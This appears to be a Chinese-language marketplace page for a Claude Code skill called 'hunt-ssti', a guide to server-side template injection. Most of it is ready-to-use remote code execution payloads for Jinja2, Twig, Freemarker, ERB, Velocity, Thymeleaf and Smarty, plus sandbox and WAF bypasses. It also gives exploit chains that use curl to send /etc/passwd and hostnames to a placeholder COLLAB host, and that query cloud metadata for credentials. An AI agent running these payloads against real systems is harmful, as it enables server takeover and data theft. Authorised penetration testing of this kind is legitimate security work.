mcpField
H
hunt-ssti

hunt-ssti

github.com/uphiago安全1.3k42 次安装8 周前更新
代码仓库

关于 hunt-ssti

hunt-ssti 是用于发现和验证服务器端模板注入的安全测试技能,面向安全测试人员。它涵盖反射点排查、模板引擎识别、盲测及后续风险评估。

主要功能

  1. 01排查用户输入反射点
  2. 02使用多语法探针检测 SSTI
  3. 03识别模板引擎
  4. 04测试盲 SSTI
  5. 05按引擎提供升级指导
  6. 06分析攻击面与根本原因

适用场景

  1. 01测试邮件和 PDF 模板中的用户输入
  2. 02检查 CMS 预览和渲染后的个人资料字段
  3. 03根据表达式行为识别模板引擎
  4. 04在授权测试中评估盲模板注入

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-ssti

安装后在 Claude Code 中输入/hunt-ssti确认已加载。

详细介绍

适用场景

当目标的任意端点会通过服务端模板引擎渲染用户可控输入时使用。SSTI 是实现 RCE 最快的途径之一——只需通过 {{7*7}} 即可检测,通常再用一个载荷就能升级利用。SSTI 检测结果可靠,因为模板表达式会在 HTML 编码之前求值,因此即使页面周围的内容已正确转义,渲染后的输出中仍会出现结果 49。

**触发场景:**邮件模板(订单确认、密码重置、欢迎邮件)、PDF/报告生成器、CMS 预览功能(页面构建器预览、主题编辑器)、反射用户输入的错误页面、由服务端模板渲染的个人资料简介/姓名/描述字段、在模板中反射的 URL 路径参数,以及带插值的内联翻译字符串。

快速参考

# Detection polyglot — try this in EVERY user-controlled field
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
# Expectation: 49 appears in the response (or 7777777 for Jinja2 string repetition)

# Fingerprint engine
{{7*'7'}}         # 7777777 = Jinja2 (Python), 49 = Twig (PHP)
${7*7}            # 49 = Freemarker, Velocity, Mako (all use ${...})
<%= 7*7 %>        # 49 = ERB (Ruby)
*{7*7}            # 49 = Spring Thymeleaf

# Blind RCE detection (OOB callback instead of output)
{{ lipsum__globals__.os.popen('nslookup $(whoami).COLLAB').read() }}  # Jinja2

分步测试方法

阶段 1 — 检测与指纹识别
  1. 识别反射点 — 查找所有用户输入会出现在渲染输出中的字段:姓名字段、简介、电子邮件模板、错误消息、URL 参数、搜索查询。

  2. 发送多语法探测载荷 — 在每个候选字段中提交 {{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}。在响应正文中查找 49——这是可靠的信号,因为模板表达式会在 HTML 转义之前求值。

  3. 引擎指纹识别 — 确认 SSTI 后,确定所用引擎:

    • {{7*'7'}} → 7777777 = Jinja2(Python 字符串重复);49 = Twig(PHP 数值强制转换)
    • ${7*7} → 49 = Freemarker/Spring/Velocity/Mako
    • <%= 7*7 %> → 49 = ERB(Ruby on Rails)
    • *{7*7} → 49 = Thymeleaf(Spring/Java)
    • 在请求头/ Cookie 场景中的 ${7*7} → Spring Boot,可通过 ${user.name} 读取敏感属性
  4. 错误信息探测技术 — 提交格式错误的表达式(例如缺少右花括号的 {{badger)——错误消息通常会透露引擎名称、框架版本和文件路径。

  5. 上下文分析 — 确定注入发生在 HTML 上下文、属性上下文、JavaScript 上下文,还是盲注场景(仅使用输出,不会反射)。

阶段 2 — 升级为 RCE

确定引擎后,使用针对该引擎的 RCE 载荷升级利用:

Jinja2(Python/Flask/Django):

# Basic RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Class walker (if config is restricted)
{{''.__class__.__mro__[1].__subclasses__()}}

# Blind RCE with OOB
{{lipsum.__globals__['os'].popen('curl http://COLLAB/ssti-rce').read()}}

# File read
{{get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read()}}

Twig(PHP/Symfony):

{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

# OOB callback
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://COLLAB/twig-rce")}}

Freemarker(Java):

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# OOB
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"curl http://COLLAB/fm-rce")}

ERB(Ruby on Rails):

<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").read() %>

Velocity(Java):

#set($str=$class.inspect("java.lang.String").split(""))
#set($rt=$class.inspect("java.lang.Runtime").getRuntime())
$rt.exec("id")

Spring Boot / Thymeleaf:

${T(java.lang.Runtime).getRuntime().exec("id")}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("id")}

Smarty(PHP):

{php}echo shell_exec("id");{/php}
{system('id')}
阶段 3 — 盲 SSTI 检测

当 SSTI 的输出不会反射,但模板仍会求值时(例如电子邮件模板、PDF 生成),使用 OOB 检测:

# Jinja2 — exfil via DNS
{{lipsum.__globals__.os.popen('nslookup $(whoami).COLLAB').read()}}

# Twig — exfil via HTTP
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("curl http://COLLAB/blind-ssti")}}

# Freemarker — exfil via URL
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke(
  "".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),
  "curl http://COLLAB/blind-fm")}

# ERB — exfil via open3
<%= Open3.popen3('curl http://COLLAB/erb-blind').read %>
阶段 4 — 利用链
# SSTI → RCE → internal network scan
{{lipsum.__globals__.os.popen('curl http://COLLAB/$(hostname)').read()}}

# SSTI → file exfil
{{lipsum.__globals__.os.popen('curl -F "file=@/etc/passwd" http://COLLAB/exfil').read()}}

# SSTI → cloud metadata
{{lipsum.__globals__.os.popen('curl http://[REDACTED_IP]/latest/meta-data/').read()}}

攻击面信号

URL/接收点模式:

/profile/name, /preview, /render, /email-template, /invoice, /report
?name=, ?template=, ?content=, ?body=, ?message=, ?title=
/profile/settings/bio, /admin/email-templates/edit, /cms/preview

响应/错误信号:

Error: "Template '{{user_input}}' not found"  → Twig (Symfony)
Error: "org.springframework.expression.spel"  → Spring/Thymeleaf
Error: "Method __construct not found"         → Smarty
Error: "Undefined variable: 7*7"              → Smarty
Response contains rendered math expression    → SSTI confirmed

技术栈信号:

  • X-Powered-By: Express + Node.js → Pug、EJS、Handlebars
  • X-Powered-By: Phusion Passenger → Ruby ERB
  • Server: Apache + X-Powered-By: PHP → Twig、Smarty
  • Server: Apache Tomcat → Freemarker、Velocity、Thymeleaf
  • Django/Flask → Jinja2(默认模板引擎)
  • 电子邮件模板编辑器、CMS 页面构建器、PDF 生成服务

常见根本原因

  1. 在模板上下文中信任用户输入 — 开发者未经沙箱处理,就将用户可控字符串传入 render_template_string()(Flask)、Template()(Jinja2)、$twig->render()(Symfony)或带有模板语法的 str.format()。

  2. 电子邮件模板渲染 — 发送订单确认邮件、密码重置邮件和欢迎邮件前,将用户名/用户输入插入模板。SSTI 是盲注(内容会发送给用户,而不会反映在浏览器中),因此更难检测,但同样可被利用。

  3. CMS 预览/页面构建器功能 — 拖放式页面构建器会存储模板片段,并在服务端渲染。预览端点通常是 SSTI 的触发点。

  4. 内联翻译系统 — Rails t() 助手支持插值:t('welcome', name: user_input) 默认会将翻译字符串标记为 HTML 安全,从而可通过 locale 键触发 SSTI。

  5. 反映输入的错误页面 — 将路径回显到模板中的 404 处理程序,以及在模板中显示错误消息的 500 错误页面。

  6. 开发者调试端点 — 生产环境中仍启用的 /render、/template-test、/email-preview。

绕过技术

防御: 将特定字符列入黑名单({、}、$)
绕过: 尝试其他语法 — Twig {% ... %}、Jinja2 {% ... %}、Freemarker <#if ...>,或根据引擎配置使用其他分隔符语法。

防御: 使用沙箱模板引擎
绕过: 沙箱限制通常因引擎而异,且并不完善。对于 Jinja2 SandboxedEnvironment,可尝试 {{lipsum.__globals__}} — 默认全局变量中可以访问 lipsum 函数。对于 Twig 沙箱,可尝试 {{_self.env.registerUndefinedFilterCallback("exec")}}。

防御: 输出过滤/HTML 编码
绕过: SSTI 求值发生在 HTML 编码之前 — 即使页面会转义 HTML,表达式的结果 49 仍会显示。对于盲执行确认,可使用 OOB/DNS 回调。

防御: WAF 阻止 SSTI 模式
绕过: 使用其他 RCE 载荷 — 例如用 Jinja2 {% print(...) %} 替代 {{ ... }},用 Freemarker <#assign> 替代 ${ ... },或将载荷拆分到多个参数中。

防御: 限制输入长度
绕过: 使用短载荷基元 — Jinja2 {{lipsum.__globals__.os.popen('id').read()}} 长度约为 50 个字符。对于更长的调用链,可使用 POST 请求正文而不是 GET 参数。

真实案例

场景 A — 邮件模板 SSTI → RCE(电子商务平台) 某大型电子商务平台的订单确认邮件使用服务器端渲染的 Jinja2 模板,其中包含客户姓名。攻击者注册时使用了包含 {{config.__class__.__init__.__globals__['os'].popen('curl http://COLLAB/$(hostname)').read()}} 的用户名。生成并发送订单确认邮件时,模板引擎对该表达式求值,执行系统命令,并将主机名发送给攻击者的协作者。影响:邮件渲染服务器遭到 RCE,该服务器可以访问完整的客户数据库和订单处理流水线。

场景 B — CMS 页面构建器 SSTI(Freemarker → RCE) 一款基于 Java 的 CMS 允许权限有限的编辑者预览页面模板。Freemarker 模板引擎配置为允许在模板片段中使用 ${ ... } 表达式。某位编辑者构造了一个包含 <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} 的模板片段,并在渲染预览时触发执行。影响:攻击者从编辑者权限提升至 CMS 应用服务器上的操作系统级 RCE。

场景 C — PDF 生成器 SSTI(盲 ERB → RCE) 一款 Ruby on Rails 应用使用服务器端模板生成 PDF 发票。发票中包含客户姓名和地址。攻击者提交了包含 <%= system("curl -F 'data=@/etc/passwd' http://COLLAB/exfil") %> 的地址。生成 PDF 时,ERB 模板执行了该命令,将服务器的密码文件外传。影响:通过 PDF 生成流水线中的盲 SSTI,导致服务器完全失陷。

阶段 5 — 引擎指纹识别表

尝试 RCE 前,使用数学表达式进行差分探测,以识别模板引擎:

探测式Jinja2TwigFreemarkerVelocityERBEJSPug
{{7*7}}49494949—49—
${7*7}${7*7}${7*7}4949—${7*7}—
<%=7*7%><%=7*7%>———4949—
#{7*7}——49*7(字面值)—49——
a{*comment*}b—ab—————
#{7*7}———7*7(字符串)———
阶段 6 — 特定引擎的 RCE 利用代码

Jinja2(Python):

# Class walker (no globals)
{{ ''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__['os'].popen('id').read() }}

# Attr filter bypass (WAF evasion)
{{ request|attr('application')|attr('__self__')|attr('_get_data_for_json')|attr('__self__') }}

# lipsum globals access
{{ lipsum.__globals__['os'].popen('id').read() }}

Twig(PHP):

{{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }}
{{ ['id']|filter('system') }}

Freemarker(Java):

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()}

Velocity(Java):

#set($s="") #set($stringClass=$s.getClass()) #set($rt=$stringClass.forName("java.lang.Runtime")) $rt.getRuntime().exec("id")

ERB(Ruby):

<%= `id` %>
<%= system("curl http://COLLAB/$(id)") %>

验证

运行此自测,确认已准备好进行 SSTI 排查:

  1. 技能完整性 — 确认技能文件可读且格式正确:

    grep -q "name: hunt-ssti" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能已设置类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱部分 — 确认已记录相关陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

全部 3 项测试均可验证技能结构正确且已准备就绪。


陷阱

  • SSTI 未导致代码执行 — {{7*7}} 返回 49,证明存在模板注入。需要进一步提升为代码执行(RCE)或文件读取,才能造成影响。
  • 沙箱化模板引擎 — Jinja2 沙箱、Twig 沙箱等需要特定的绕过技术。不要假定执行未受沙箱限制。
  • 模板引擎识别错误 — Jinja2、Twig 和 Freemarker 的语法各不相同。多个引擎都支持 {{7*7}}。请先进行指纹识别。
  • 盲 SSTI — 如果输出未被反射,请使用基于时间或带外(OOB)技术。可使用 {% import os %}{{os.popen('sleep 10').read()}} 实现盲 RCE。

相关技能

  • hunt-rce — 在 Python/Ruby/PHP/Java 技术栈中,SSTI 是实现 RCE 最简单的途径,因为模板语言已经能访问运行时。利用链原语:Jinja2 {{config.__class__.__init__.__globals__['os'].popen('id').read()}} 或 Freemarker <#assign x="freemarker.template.utility.Execute"?new()>${x("id")} → 以渲染工作进程的身份实现未授权 RCE。始终按指纹识别 → 类遍历器 → 命令执行的顺序升级。
  • hunt-xss — 如果模板引擎会对运行时进行沙箱隔离(或者你只能拿到渲染后的 HTML 输出),同样的 {{7*7}} 回显通常仍能造成存储型 XSS。利用链原语:没有转义功能的沙箱化 Jinja2 SSTI → 向渲染后的邮件模板注入 <script> → 存储型 XSS,所有查看邮件的收件人都会受到影响。
  • hunt-ssrf — 模板引擎通常会先暴露 URL 抓取器/过滤器,再暴露运行时,因此你可能先实现 SSRF,再实现 RCE。利用链原语:Twig {{ include('http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/') }} 或使用 url_for/自定义过滤器的 Jinja2 → 窃取 AWS 元数据 → 获取云凭证。
  • hunt-file-upload — 用户上传的 Office 文档、SVG 和邮件模板是常见的 SSTI 攻击面(服务器会重新渲染这些文件)。利用链原语:上传一个 DOCX,其 word/document.xml 包含 ${T(java.lang.Runtime).getRuntime().exec("id")},并将其提交给由 Velocity/Freemarker 驱动的邮件合并功能 → RCE。
  • security-arsenal — 使用针对特定引擎的逃逸载荷树:Jinja2 类遍历器变体(通过 __subclasses__()[N] 搜索索引)、Twig _self.env registerUndefinedFilterCallback、Freemarker ?new() Execute、ERB 反引号、Velocity $class.inspect、Smarty {php}...{/php},以及 WAF 绕过变体({{request|attr('application')|...}}、Unicode 转义、{%print(...)%})。
  • triage-validation — 在判定为严重级别的 RCE 前,先执行严重性预判关卡(Pre-Severity Gate)。沙箱化引擎中的 {{7*7}} → 49 回显(例如 Twig 沙箱模式、没有逃逸方式的 Jinja2 SandboxedEnvironment)属于中危 SSTI,而非严重级别的 RCE。报告前,先用 id 或带有唯一标记的 OOB DNS 回连证明。

评论

支持 Markdown